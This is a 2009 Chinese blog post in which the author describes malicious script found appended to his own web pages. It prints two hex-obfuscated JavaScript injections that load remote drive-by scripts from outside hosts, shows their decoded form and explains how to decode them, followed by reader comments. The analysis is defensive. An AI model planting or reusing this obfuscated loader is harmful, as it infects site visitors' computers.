記憶盒子

把記憶裝進(jìn)灰色的盒子,封裝起來,那年那月,重新拾起。

首頁搜索目錄
search
當(dāng)前主題: 軟件編程

文件尾竟被加入病毒\x64\x6f\x63\x75\x6d\x65\x6e\x74 【解密】

作者:Kaka    時間:2009-12-9 12:33:40    瀏覽:    評論:9

      今天打開一個自己的網(wǎng)頁,竟發(fā)現(xiàn)了文件尾巴病毒源,真是可惡,空間商沒做好殺毒防毒啊。

      病毒源如下:

 <script language="javascript">
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\"\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\" \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3a\/\/\x67\x67\x39\x39\x39\x2e\x35\x31\x36\x36\x2e\x69\x6e\x66\x6f\/\x67\x67\/\x67\x67\x2e\x6a\x73\"\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e")
</script>
<script language="javascript">
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x73\x63\x72\x69\x70\x74 \x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\"\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\" \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3a\/\/\x75\x73\x65\x72\x73\x33\x2e\x6a\x61\x62\x72\x79\x2e\x63\x6f\x6d\/\x67\x67\x69\x6e\x66\x6f\/\x69\x6e\x66\x6f\/\x67\x67\x2e\x6a\x73\"\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e")
</script>

      這是一段通過16進(jìn)制編碼的script病毒,當(dāng)你打開含有這段代碼的頁面時,那你的電腦立馬中毒,好狠啊!

      可以通過alert來解密,例如把上面粗體字代碼解密:

<script language="javascript">alert("\x64\x6f\x63\x75\x6d\x65\x6e\x74");</script>

      解密結(jié)果是:

      同樣的,把后面各個中括號里的代碼段alert,結(jié)果這個病毒源代碼就出來了。上面的病毒源代碼解密結(jié)果是:

document.write("<script language=javascript src=http://gg999.5166.info/gg/gg.js></script>");

       很明顯,這是在你電腦執(zhí)行一段javascript掛馬程序,一旦你打開含有這段代碼的頁面,你的電腦就立即中招了。

      這些病毒我暫時沒找到專殺軟件,例如你有上千個頁面都中毒了,那是不能手動一個一個清除的了。一旦我找到專殺軟件,會第一時間來博客共享。有網(wǎng)友發(fā)現(xiàn)專殺軟件了嗎?

x

標(biāo)簽: Program  

※ 網(wǎng)站速度慢?試試網(wǎng)站自動優(yōu)化工具 ※

上一篇: AMAZING! 卡卡網(wǎng)主站一個點(diǎn)擊價格竟超過博客50個點(diǎn)擊!
下一篇: 在GoDaddy安裝Z-Blog不成功
  • 8.m******
  • 遇到那些也是很難得的,分析分析,也許可以分析出個oady來,那個值錢有用了.
    Liwen 于 2009-12-12 5:05:40 回復(fù)
    別說難遇到,我寧愿永遠(yuǎn)都不遇到呢!Hehe
  • 2009/12/12 4:21:18 回復(fù)該留言
  • 6.e****
  • 汗 ~ 真是辛苦那些黑客弄那么麻煩 ~
    Liwen 于 2009-12-9 17:22:50 回復(fù)
    呵呵~~Hehe
  • 2009/12/9 16:22:36 回復(fù)該留言
  • 5.百**
  • 真是害人不淺,BZ被害到了,
    Liwen 于 2009-12-9 17:22:36 回復(fù)
    是害人不淺Angry
  • 2009/12/9 15:45:47 回復(fù)該留言
  • 3.九*
  • 那個腳本無法下載啊,這是為什么呢???
    Liwen 于 2009-12-9 17:22:04 回復(fù)
    哪里下載?What
  • 2009/12/9 15:12:51 回復(fù)該留言
  • 2.九*
  • 你的網(wǎng)頁上?怎么可能上傳到你的網(wǎng)頁呢?我下載下來那JS看看到底有咋了不起的。
    Liwen 于 2009-12-9 17:21:42 回復(fù)
    空間商沒防好毒啊Sad
  • 2009/12/9 15:07:43 回復(fù)該留言
  • 1.娛***
  • 真的是很牛呀,病毒制作者厲害。
    Liwen 于 2009-12-9 14:58:02 回復(fù)
    是啊,害人不淺!Angry
  • 2009/12/9 14:33:16 回復(fù)該留言

發(fā)表評論:

◎歡迎參與討論,請?jiān)谶@里發(fā)表您的看法、交流您的觀點(diǎn)。

訂閱博客                   QQ交流群(312716741)

  • 通過Google訂閱本站 通過鮮果訂閱本站 通過抓蝦訂閱本站
  • 通過QQ郵箱訂閱本站 通過Yahoo訂閱本站 通過有道訂閱本站

Search

最新評論及回復(fù)

最近留言

網(wǎng)站分類

Powered By Z-Blog 1.8 Walle Build 91204 Designed by Han'space

Copyright @2009-2024 All Rights Reserved. 粵ICP備14028160號-1

Powered By Z-Blog 1.8 Walle Build 91204
Copyright @2009-2024 All Rights Reserved.